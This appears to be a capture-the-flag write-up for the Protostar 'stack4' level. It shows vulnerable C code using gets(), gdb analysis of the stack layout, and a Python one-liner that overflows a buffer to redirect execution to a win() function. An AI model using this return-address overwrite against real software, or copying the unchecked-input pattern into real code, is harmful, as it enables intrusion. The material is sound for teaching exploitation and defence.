Stack Four

Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4

Hints

  • A variety of introductory papers into buffer overflows may help

  • gdb lets you do “run < input

  • EIP is not directly after the end of buffer, compiler padding can also increase the size.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

In this program, we have the win function.

There is no initialized function pointer in the main function. There fore we will have to overwrite the saved eip, also known as the the saved return address.

The saved return address is located before the buffer.

                    +-------------------------+                                                       
entry esp --------> |     saved eip           |
                    |     (return address)    |
                    |-------------------------|                                                           
new ebp ----------> |     saved ebp           |
                    |-------------------------|
                    |     buff [63]           |
                    |          .              |
                    |          .              |
                    |          .              |
                    |     buff [0]            |
                    |-------------------------|
new esp ----------> |     i                   |
                    +-------------------------+

That was a generalized representation.

We need the exact layout of the stack in order to craft our payload.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret

Set a breakpoint at main+21 and pass in the following input:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz

This will lead to segmentation fault.

Program received signal SIGSEGV, Segmentation fault.
0x74747474 in ?? ()

The error message tells us that the value of stored eip was changed to 0x74747474 which is not a valid address. 0x74 is t in ASCII.

Let's try to get a clearer picture.

(gdb) info registers
eax            0xbffff770       -1073744016
ecx            0xbffff770       -1073744016
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7c0       0xbffff7c0
ebp            0x73737373       0x73737373
esi            0x0      0
edi            0x0      0
eip            0x74747474       0x74747474
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

So the 77th, 78th, 79th and 80th bytes from our input overwrote the saved eip, and the four bytes before those which were ssss overwrote the saved ebp.

This means we need 80 bytes in total. 64 bytes to fill the buffer, 8 bytes of padding, 4 bytes to overwrite the saved ebp and 4 for overwriting the saved eip.

In order to alter control flow to the win function, we first need to know its address.

(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   ebp
0x080483f5 <win+1>:     mov    ebp,esp
0x080483f7 <win+3>:     sub    esp,0x18
0x080483fa <win+6>:     mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.

These four bytes need to be the 0x080483f4 address in little-endian format.

Exploit

$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

Last updated